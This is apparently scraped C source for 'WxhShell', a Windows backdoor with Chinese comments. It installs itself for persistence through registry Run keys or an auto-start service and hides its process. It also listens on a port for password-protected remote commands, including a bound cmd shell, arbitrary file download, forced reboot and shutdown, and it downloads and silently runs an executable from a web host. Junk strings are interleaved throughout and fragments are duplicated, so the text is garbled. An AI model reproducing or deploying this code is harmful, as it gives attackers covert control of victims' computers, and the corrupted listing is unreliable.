W static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #6|ve?`I E3j`e>Yz HANDLE hProcess; ?sdSi-- PROCESS_BASIC_INFORMATION pbi; %!A:Ka!m. t27UlFX HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D1-/#QN$1 if(NULL == hInst ) return 0; TPBQfp%HU 5[X%17&t g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <t(H+ykh g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .^9khKJ; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ),`jMd1` ](R
/4 if (!NtQueryInformationProcess) return 0; 5<*ES[S J61%a,es hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r-$xLe7a if(!hProcess) return 0; q>'#; QA {~O4*2zg;K if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !5De?OXe S>T ;`, CloseHandle(hProcess); +|dLR*s ~
2Hw\fx hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HN367j2 e if(hProcess==NULL) return 0; Ln&~t(7 7c(j1:Ku- HMODULE hMod; s) s9Z,HY char procName[255]; uVD^X* unsigned long cbNeeded; z{Yfiv\-r H[?S*/n,< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [>dDRsZ `` g CloseHandle(hProcess); AP>n-Z| >>J$`0kM* if(strstr(procName,"services")) return 1; // 以服务启动 ,}W|cm> (kO (R#M return 0; // 注册表启动 R- >~MLeK] } {jYVA~.|Z P^F3,'N // 主模块 \e4AxLP int StartWxhshell(LPSTR lpCmdLine) Ng;?hT w { 6X A(<1P SOCKET wsl; =gSc{ i| BOOL val=TRUE;
D~"a" int port=0; xF3FY0U[ struct sockaddr_in door; ~tfd9,t C;:=r:bth if(wscfg.ws_autoins) Install(); U5j4iz' bnkZWw'9 port=atoi(lpCmdLine); *FEJ5x FXT^r3 if(port<=0) port=wscfg.ws_port; +p>h` fc BhAT@% WSADATA data; 2 ^"j]g>mj if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,(h- -?#iPvk6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o9|
OL setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |(W04Wp"@ door.sin_family = AF_INET; egA*x*8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); l*hWws[ door.sin_port = htons(port); 2>X yrG mgH~GKf^ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T$0)un closesocket(wsl); A405igF return 1; 1mtYap4
} +@fEw NGi)Lh| if(listen(wsl,2) == INVALID_SOCKET) { qY%|Uo closesocket(wsl); |H5GWZ
O{^ return 1; P4yUm(@ } Ms5qQ<0v_ Wxhshell(wsl); ]m`:T WSACleanup(); w6>P[oW 1l)j(,Zd* return 0; 7&P70DO pFMjfWD,C } Jjj;v2uSK Ppl :_Of // 以NT服务方式启动 j|[$P4w}U VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3r[F1z2B { V[%IU'{: DWORD status = 0; 6`'g ${U DWORD specificError = 0xfffffff; Q'^'G>MBJ )d3C1Pd> serviceStatus.dwServiceType = SERVICE_WIN32; sbVEA serviceStatus.dwCurrentState = SERVICE_START_PENDING; I&i6-xp serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PtQ[({d3R serviceStatus.dwWin32ExitCode = 0; .,'4&}N} serviceStatus.dwServiceSpecificExitCode = 0; _VgFuU$h serviceStatus.dwCheckPoint = 0; o@PvA1 serviceStatus.dwWaitHint = 0; Or$"f3gq v]@ XyF\j8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QPp31o.!5 if (hServiceStatusHandle==0) return; ~eP~c"L JP"#9f status = GetLastError(); Xsanc@w)^C if (status!=NO_ERROR) HhCFAq"j { KY<
$+/B! serviceStatus.dwCurrentState = SERVICE_STOPPED; $$p +~X serviceStatus.dwCheckPoint = 0; *B@#A4f" serviceStatus.dwWaitHint = 0; ]b;a~Y0 serviceStatus.dwWin32ExitCode = status; ;{wzw8! serviceStatus.dwServiceSpecificExitCode = specificError; h5l_/vd SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZR=i*y return; jT0iJ?d,! } %/\sn<6C} G2n.NW#d4 serviceStatus.dwCurrentState = SERVICE_RUNNING; 5FB3w48 serviceStatus.dwCheckPoint = 0; yMkR)HY serviceStatus.dwWaitHint = 0; -@w}}BR if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cz5U } KRd'!bG=1 XD6Kp[s // 处理NT服务事件,比如:启动、停止 o@
^^;30 VOID WINAPI NTServiceHandler(DWORD fdwControl) ->{\7|^ { #%$@[4"V switch(fdwControl) YVF@v-v-, { [Pq
|6dz case SERVICE_CONTROL_STOP: >2K'!@~' serviceStatus.dwWin32ExitCode = 0; KMfIp:~ serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Hyp]07 serviceStatus.dwCheckPoint = 0; )D+eWo serviceStatus.dwWaitHint = 0; =s:kC`O { ]YZ_kc^(V; SetServiceStatus(hServiceStatusHandle, &serviceStatus); F&7Z( } vnbY^ASdw return; 8N j} case SERVICE_CONTROL_PAUSE: _(=g[=Mer serviceStatus.dwCurrentState = SERVICE_PAUSED; H 9BqE+ break; ]o'dr
r case SERVICE_CONTROL_CONTINUE: G]xN#O; serviceStatus.dwCurrentState = SERVICE_RUNNING; ,f?B((l break; 7,?ai6{ case SERVICE_CONTROL_INTERROGATE: kAUL7_>6X break; ]3]B$ }; .8'uIA{_2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 32j#kJ W } 9ec#'i= 753gcY#i // 标准应用程序主函数 ey<z#Q5+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aRn""3[ { t=:5?}J.Q$ $Sm iN'7; // 获取操作系统版本 ~k@{b& OsIsNt=GetOsVer(); u@Ni *)p` GetModuleFileName(NULL,ExeFile,MAX_PATH); 1:DA{ejS 4Rp[>}L // 从命令行安装 }(na)B{m if(strpbrk(lpCmdLine,"iI")) Install(); B\=T_'E& eln$,zK/b // 下载执行文件 [<^ '}-SJ if(wscfg.ws_downexe) { Y nTx)uW if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cZ`%Gt6g WinExec(wscfg.ws_filenam,SW_HIDE); ?)Gb= } $i3`cX)g bFA
lC if(!OsIsNt) { y~t
e!C // 如果时win9x,隐藏进程并且设置为注册表启动 "f3mi[ HideProc(); f@Ve,i StartWxhshell(lpCmdLine); gm:Y@6W } u
XZ ;K. else 8 f~M6 if(StartFromService()) ':\bn:; // 以服务方式启动 $K\;sn; |: StartServiceCtrlDispatcher(DispatchTable); $S?xB$ else Bbb":c6w0 // 普通方式启动 *ZRk) StartWxhshell(lpCmdLine); >k}Kf1I $S/WAw,/ return 0; !.q#X^@>L } wv%UsfD ph~#{B(\ d(Yuz#Qcrh M|.ykA<D =========================================== %~Ymb&ugg Cq\{\!6[ VdL }$CX$ Kt"4<' p+2%LYR u z`dnS]q9 " r6:nYyF$)v $z@nT.x5 #include <stdio.h> m Le
70U #include <string.h> jlD3SF~2 #include <windows.h> r)G)i;;~* #include <winsock2.h> m&_!*3BAG #include <winsvc.h> ]7|qhAh<L #include <urlmon.h> X5Y. o& b%j4W)Z #pragma comment (lib, "Ws2_32.lib") uy=<n5`oNG #pragma comment (lib, "urlmon.lib") #D+.z)iZn ?/Aql_?3 #define MAX_USER 100 // 最大客户端连接数 4`"Q!T_' #define BUF_SOCK 200 // sock buffer :|ytw=3> #define KEY_BUFF 255 // 输入 buffer l2LO,j} 7'{Y7]+z+ #define REBOOT 0 // 重启 H Mfhe[A? #define SHUTDOWN 1 // 关机 ^g+M=jq _ E3_ 5~> #define DEF_PORT 5000 // 监听端口 ~~,#<g[ n4AQ #define REG_LEN 16 // 注册表键长度 ugW.nf*O #define SVC_LEN 80 // NT服务名长度 <ou=f' j6rwlwN // 从dll定义API {\k:?w4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BQ!_i*14+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A6Wtzt2i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4?x$O{D5?{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &y2DI"Ff x Sv@K5"8! // wxhshell配置信息 MWn[]'TpH struct WSCFG { =vKSvQP@) int ws_port; // 监听端口 bxww1NG>|Z char ws_passstr[REG_LEN]; // 口令 `9G1Bd8k int ws_autoins; // 安装标记, 1=yes 0=no 4}^\&K&t{ char ws_regname[REG_LEN]; // 注册表键名 # 9ZO1\ char ws_svcname[REG_LEN]; // 服务名 )x&>Cf<, char ws_svcdisp[SVC_LEN]; // 服务显示名 SYv5{bff = char ws_svcdesc[SVC_LEN]; // 服务描述信息 tlmfDQD char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `?(9Bl int ws_downexe; // 下载执行标记, 1=yes 0=no )-LSn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZV:0:k.x char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m\|ie8 RLF]Wa, }; be&,V_F p-%m/d? // default Wxhshell configuration ].
^e[v6 struct WSCFG wscfg={DEF_PORT, 'n!Sco)C "xuhuanlingzhe", 5'"9)#Ve 1, #tt*yOmiH "Wxhshell", |w`Q$ c "Wxhshell", tp +H]H3 "WxhShell Service", [V,f@}m
F "Wrsky Windows CmdShell Service", x):h|/B "Please Input Your Password: ", |H-zm&h>' 1, t=r*/DxX= "http://www.wrsky.com/wxhshell.exe", ^/Frg<>'p "Wxhshell.exe" GEfTs[ }; iD!]I$ 2-u9% // 消息定义模块 f(*^zga, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )}R
w@70L- char *msg_ws_prompt="\n\r? for help\n\r#>"; Q-f?7*> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gn?<~8a char *msg_ws_ext="\n\rExit."; dmE.yVI"O char *msg_ws_end="\n\rQuit."; ?(j:F2dU~ char *msg_ws_boot="\n\rReboot..."; r(/+-
t char *msg_ws_poff="\n\rShutdown..."; Lc13PTz>>g char *msg_ws_down="\n\rSave to "; oyo
V1jO Z|$OPMLX char *msg_ws_err="\n\rErr!"; }JBLzk5| char *msg_ws_ok="\n\rOK!"; {o.i\"x; +#
tmsv]2 char ExeFile[MAX_PATH]; VH$hQPP5d int nUser = 0; ]s:%joj%^ HANDLE handles[MAX_USER]; #vvQ1ub int OsIsNt; ;*8,PV0b_< mA']*)L1 SERVICE_STATUS serviceStatus; I> 3]VRi SERVICE_STATUS_HANDLE hServiceStatusHandle; Z"'tJ3Y.~ LO
M-i> // 函数声明 c{K[bppJ* int Install(void); $<s
3;>t int Uninstall(void); %C(^v)" int DownloadFile(char *sURL, SOCKET wsh); si3@R?WR6* int Boot(int flag); =G%L:m* void HideProc(void); XVkCYh4, int GetOsVer(void); Kh2!c+Mw int Wxhshell(SOCKET wsl); );5H<[ void TalkWithClient(void *cs); kG$U int CmdShell(SOCKET sock); vTUhIFa{ int StartFromService(void); dn@_\5 int StartWxhshell(LPSTR lpCmdLine); "~/O>.p $23dcC*hI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $|bdeQPr\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); &>%9JXU R3%&\<a)9 // 数据结构和表定义 _V-pr#lP1 SERVICE_TABLE_ENTRY DispatchTable[] = DS1_hbk { ;B!u=_' {wscfg.ws_svcname, NTServiceMain}, YA%0{Tdxz {NULL, NULL}
Vi_6O; }; *k
^?L *b+~@o // 自我安装 eww/tG a int Install(void) "Z*u2_ H { /p_#8}Uh char svExeFile[MAX_PATH]; E*X-f" HKEY key; U/3<p8 strcpy(svExeFile,ExeFile); El#"vIg(\ 3Ja1|;(2 // 如果是win9x系统,修改注册表设为自启动 rc+}KO if(!OsIsNt) { -yP_S~\n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %T'<vw0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6E@qZvQ RegCloseKey(key); &a
bR}J[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }IGoPCV| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j$Z:S~* RegCloseKey(key); `5CuH return 0; Tg~SGAc } |#?:KvU97E } #J09Eka;J } ZQY?wO: [ else { bL]NSD |Y&&g=7 // 如果是NT以上系统,安装为系统服务 j0+l-]F- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E|v9khN(]. if (schSCManager!=0) XPQY*.l&. { p?XVO# SC_HANDLE schService = CreateService (N
:vDq' ( c}r"O8M schSCManager, <P1yA>=3` wscfg.ws_svcname, :M
_N wscfg.ws_svcdisp, 8%Hc%T[RnT SERVICE_ALL_ACCESS, lLi)? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K)[DA*W SERVICE_AUTO_START, %{HeXe SERVICE_ERROR_NORMAL, DA wUG svExeFile, $Cx ?%X^b NULL, GjH$!P=. NULL, Ny2. C?2 NULL, ni`uO<\U NULL, /U5!]7&gB NULL RJk4 2;] ); nBJ'ak if (schService!=0) Uon^z?0A { ?0J&U4 CloseServiceHandle(schService); c$#7Kp4 CloseServiceHandle(schSCManager); -#<AbT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cu&y',ee~ strcat(svExeFile,wscfg.ws_svcname); zVyMmw\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -"~XI~a@Wo RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {7Q)2NC RegCloseKey(key); b:t|9FE% return 0; j;SK{Oq } ,A9_xdv5 } '
>R?8Y CloseServiceHandle(schSCManager); x,: DL)$1 } 5~GH*!h%; } ,zVS}!jRhy ]m<z return 1; >&%#`PKT } VtnVl`/] PJ3M,2H1b. // 自我卸载 d.Ep#4 int Uninstall(void) GLWEoV9< { [2\jQv\Y HKEY key; v1}9i3Or# ,y}@I" if(!OsIsNt) { ^ZPynduR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #bCQEhCy RegDeleteValue(key,wscfg.ws_regname); 1=z6m7@'- RegCloseKey(key); 4U>g0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^bk:g}o RegDeleteValue(key,wscfg.ws_regname); kr>4%Ndm7 RegCloseKey(key); 92XG|CWX return 0; V
0z`p" } r@u8QhD } i#bcjH } 9zE/SDu7\ else { eY\w?pT2 $q*hE&x
Qd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C8t;E` if (schSCManager!=0) e82xBLxR% { x,M8NTb* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TY;%nT if (schService!=0) 7 >-(g+NF! { W:8pmI if(DeleteService(schService)!=0) { Kw=][}d`D CloseServiceHandle(schService); )}lO%B'K CloseServiceHandle(schSCManager); F4DJML-( return 0; ]8f$&gw&A } Dgc}T8R CloseServiceHandle(schService); q1pB~eg5 } OEnCN CloseServiceHandle(schSCManager); I/* ULR,
} *BHp?cn;F2 } ~yiw{:\ _lrvK99 return 1; crQ_@@X?< } wA\a ]X. D6,Ol4d // 从指定url下载文件 kX%vTl7F int DownloadFile(char *sURL, SOCKET wsh) g&I|@$\ { ;
,n}>iTE HRESULT hr; _E2W%N char seps[]= "/"; {PKf]m char *token; rT_J6F5J char *file; M$s9 char myURL[MAX_PATH]; EGVS8YP>h char myFILE[MAX_PATH]; XwIKpr8 <f#pS[A strcpy(myURL,sURL); z1nKj\AM2 token=strtok(myURL,seps); "7J38Ej\ while(token!=NULL) ZRj/lQ2D { moRo>bvN~ file=token; ?7uK:'8 token=strtok(NULL,seps); x%W% } X`28? Yk0/f|>O GetCurrentDirectory(MAX_PATH,myFILE); +CN!3(r strcat(myFILE, "\\"); M>d^.n strcat(myFILE, file); 6TDa#k5v send(wsh,myFILE,strlen(myFILE),0); _B0C]u3D send(wsh,"...",3,0); aC94g7)` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GT,1t=|&V if(hr==S_OK) 0BQ{ZT-Kh return 0; Rxlz`& else |3 mcL' return 1; VS3lz?o?6g %7[q%S } {q! :t0X.Y lvx[C7? // 系统电源模块 zX]l$Q+ int Boot(int flag) .d6b?t { 7%Ou6P$^fr HANDLE hToken; DE+k'8\T TOKEN_PRIVILEGES tkp; UCj{
& fp}5QUm- if(OsIsNt) { QmMA]Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X?o6=)SC| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5mX^{V&^ tkp.PrivilegeCount = 1; ZCuo YE$g tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TE:|w
Xe AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kB.CeG]tk if(flag==REBOOT) { 2!R+5^Iy if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2~R%_r+< return 0; 5Q\ hd*+g } wjXv{EsMq else { 3L36
2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !v8](UI8- return 0; qu&p)*M5 } =b, m31 } 0g9y4z{H else { Xk!wT2; if(flag==REBOOT) { >qBJK)LHOv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -]t>'Q? return 0; 9/_~YY=/h } :D4'x{#H else { ]FgKL0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iBwM]Eyv. return 0; TKQ^D } J9MAnYd)i } Ym.{
{^= ICiGZ'k return 1; gJ~CD1`O } #r/5!*3 @_wJN Qo` // win9x进程隐藏模块 s
bd$.6
|& void HideProc(void) djqw5kO:R {
vR&b2G7o %j/pln& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KcUR
/o5K if ( hKernel != NULL ) X]o"4#CQIX { a?xZsR pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P EMBh?)g ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dL_9/f4 FreeLibrary(hKernel); )7p(htCz5 } ^#IE
t# Wt=\hixj- return; |AT`(71 } K>C@oE[W 0Y:)$h2? // 获取操作系统版本 $ w+.-Tr int GetOsVer(void) `:C2Cj
{ GS7'pTsYH OSVERSIONINFO winfo; :5BCW68le winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =k>fW7e GetVersionEx(&winfo); T$<yl#FY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3.1%L"r[) return 1; )7X$um else RB6Q>3g return 0; _zJ /z } pRzL}-[/v nM ?Nf} // 客户端句柄模块 Lz!JLiMEET int Wxhshell(SOCKET wsl) @|5B}%! { #d06wYz= SOCKET wsh; uEf=Vj}G struct sockaddr_in client; &er,Wyc( DWORD myID; Y`(~eNX^% u:Ye`]~o while(nUser<MAX_USER) m'N8[ o|h { 9aNOfs8( int nSize=sizeof(client); (#Xs\IEV F wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =z]rZSq*o if(wsh==INVALID_SOCKET) return 1; &H
P g> t2YB(6w+xg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *[m:4\ if(handles[nUser]==0) S^;;\0#NK closesocket(wsh); 9 )!} else |28'<BL nUser++; ,iY:#E } [$pb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jD%|@ux \<\H1;=.@' return 0; &]GR*a } lHDZfwJ&C1 K&zW+C b // 关闭 socket 8};kNW^2m void CloseIt(SOCKET wsh) KVr9kcs { U{/fY/kq closesocket(wsh); l~w^I|M^C nUser--; seRf q& ExitThread(0); T?QW$cU!e: } @56*r@4:q 6yO5{._M // 客户端请求句柄 a+\<2NXYD void TalkWithClient(void *cs) Srz8sm; { fVf:voh q
|FOU SOCKET wsh=(SOCKET)cs; wy8Q=X:vP char pwd[SVC_LEN]; NbTaI{r char cmd[KEY_BUFF]; wy
.96 char chr[1]; ^<;CIXo int i,j; EpQy;#=; aSu^ while (nUser < MAX_USER) { 4/k`gT4 e9
@{[ if(wscfg.ws_passstr) { wu><a!3`=o if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /-i m
g^^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ivn2 //ZeroMemory(pwd,KEY_BUFF); x0jaTlU/ i=0; !icI Rqcf= while(i<SVC_LEN) { w-2#CX8jY PTLlLa85< // 设置超时 fQ~TZ:UrU fd_set FdRead; TnKv)%VF struct timeval TimeOut; UP$>,05z6 FD_ZERO(&FdRead); L6DYunh}^N FD_SET(wsh,&FdRead); rfYa<M Qc TimeOut.tv_sec=8; MmfBFt* TimeOut.tv_usec=0; +3o0GJ
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); < \fA}b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [7d(PEQL` *9uNM@7&0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (QL:7 pwd=chr[0]; S9]I[4 if(chr[0]==0xd || chr[0]==0xa) { ~]QQaP pwd=0; L\UGC%]9 break; "]kzt ux } 4}k@p>5v' i++; y`L.#5T } F[SZwMf29 xr]bH.> // 如果是非法用户,关闭 socket E:dN) if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZI;*X~h } (,jsZ!sl l@*$C&E send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :"Otsb7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F'OO{nF o $W@@aM while(1) { cTzR<Yr ?upd ZeroMemory(cmd,KEY_BUFF); t-o,iaPG3 t&EizH$ // 自动支持客户端 telnet标准 4H%#Sn#L^! j=0; f<iK% while(j<KEY_BUFF) { )[J!{$&y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~tyqvHC cmd[j]=chr[0]; 9#:fQ!3` if(chr[0]==0xa || chr[0]==0xd) { +_$s9`@]6 cmd[j]=0; xw_klHL-o break; pe0ax-Zv } }/&Zo=Q$ j++; :$k1I-^R } FeMgn`q cu
foP& // 下载文件 y<j7iN if(strstr(cmd,"http://")) { wK7w[Xt send(wsh,msg_ws_down,strlen(msg_ws_down),0); j5" L if(DownloadFile(cmd,wsh)) dsx<ZwZN> send(wsh,msg_ws_err,strlen(msg_ws_err),0); .?5
~zK else 036m\7+Qj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5,s@K>9l; } KpLaQb else { BYMdX J *#b
e switch(cmd[0]) { @vyEN.K%mm 8 yi#] 5`Q // 帮助 dm[cl~[
Q case '?': { b@8z+,_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cZ|NGkZ break; ga/zt-& } Zv!XNc!"$y // 安装 ;`LG WT-<F case 'i': { R&;x_4dr^ if(Install()) GiX3c^V"1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); MGMJeqvr else {*F
=&D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9x!kvB6 break; YW6a?f^! } )1B?<4 // 卸载 aaCRZKr case 'r': { \V!{z;.fA if(Uninstall()) 8..|-<w send(wsh,msg_ws_err,strlen(msg_ws_err),0); J^yqu{ else X,aRL6>r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6`Y:f[VB break; EjFpQ|-L| } dWiNe!oY2 // 显示 wxhshell 所在路径 ukEJ D3i case 'p': { ;lb char svExeFile[MAX_PATH]; PNo:[9`S;m strcpy(svExeFile,"\n\r"); =E]tEi strcat(svExeFile,ExeFile); $;G<!]& s send(wsh,svExeFile,strlen(svExeFile),0); He'VqUw_ break; 5NUaXQ } O2ktqAWx@ // 重启 >I5Wf/$ case 'b': { VnkhY send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?xH{7)dO if(Boot(REBOOT)) wU!-sf;]y send(wsh,msg_ws_err,strlen(msg_ws_err),0); B-w`mcqp$ else { Vdxo closesocket(wsh); `r-Jy{!y4 ExitThread(0); vJGH8$%;, }
anpKWa break; g$#A'Du } ~mt{j7 // 关机 48^C+#Jbc case 'd': { Vf~-v$YI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '}(>s%~ if(Boot(SHUTDOWN)) Miw=2F send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ITM:% else { c}n66qJF5 closesocket(wsh); 68h1Wjg:"! ExitThread(0); Mz(?_7 } zEO~mJzo break; '+{yg+#/wV } yp$jLBA // 获取shell -hW>1s< case 's': { Xwo+iZ(a CmdShell(wsh); "Hz%0zP& closesocket(wsh); $`W3`}#fM ExitThread(0); O&aD]~| break;
rn(
drG } 4[x`\ // 退出 \
[OB. case 'x': { J5Zz*'av' send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %G2g
@2 CloseIt(wsh); W`vPf break; ysG1{NOl } CKZEX*mPC // 离开 H
$Az,-P case 'q': { oY0b8=[ send(wsh,msg_ws_end,strlen(msg_ws_end),0); _F[a2PE2+ closesocket(wsh); 1G12FV>M WSACleanup(); @fmp2!?6 exit(1); Bl];^W^P break; rYQ@"o0/Y } : 4WbDeR } l0{DnQA>I } P}`1#$ ?xZmm%JF // 提示信息 }q W aE if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k;5}@3iQ } r.;iO0[/ } Rjl __90
:F=nb+HZ return; `WS_*fJ5 } :\_MA^< >ULp! // shell模块句柄 KT71%?P int CmdShell(SOCKET sock) (q N(#~ { GcW}<g} STARTUPINFO si; bf/loMtD ZeroMemory(&si,sizeof(si)); ?y)X $D^ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9K<a}QJP si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FOi`TZ8 PROCESS_INFORMATION ProcessInfo; ~*[4DQ[\ char cmdline[]="cmd"; 5FI>T=QF CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1 ,'^BgI, return 0; c&-$?f
r } {2r7:nvR P*Sip?tdE // 自身启动模式 |81N/]EER int StartFromService(void) 6~WE#z_ { o q)"1 typedef struct V&v~kzLr+ { W2qQKv DWORD ExitStatus; w lg#c6#q DWORD PebBaseAddress; 22~X~= DWORD AffinityMask; wtLMc DWORD BasePriority; :w%bw\} ULONG UniqueProcessId; q)+n2FM ULONG InheritedFromUniqueProcessId; :OaQq@V } PROCESS_BASIC_INFORMATION; n9!3h ?,g [)>8z8'f PROCNTQSIP NtQueryInformationProcess; %0]b5u [_b='/8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %W;Gf9.w static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a&Du5(r;! XF$]KAL0 HANDLE hProcess; Tk&9Klo PROCESS_BASIC_INFORMATION pbi; %nf=[f g8A{aHb1} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !13
/+ u if(NULL == hInst ) return 0; u#k,G` AiK4t- g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BrMp_M g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); | V,jd NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~j#6 goKn [(EH if (!NtQueryInformationProcess) return 0; %MZDm&f>Kk O \8G~V
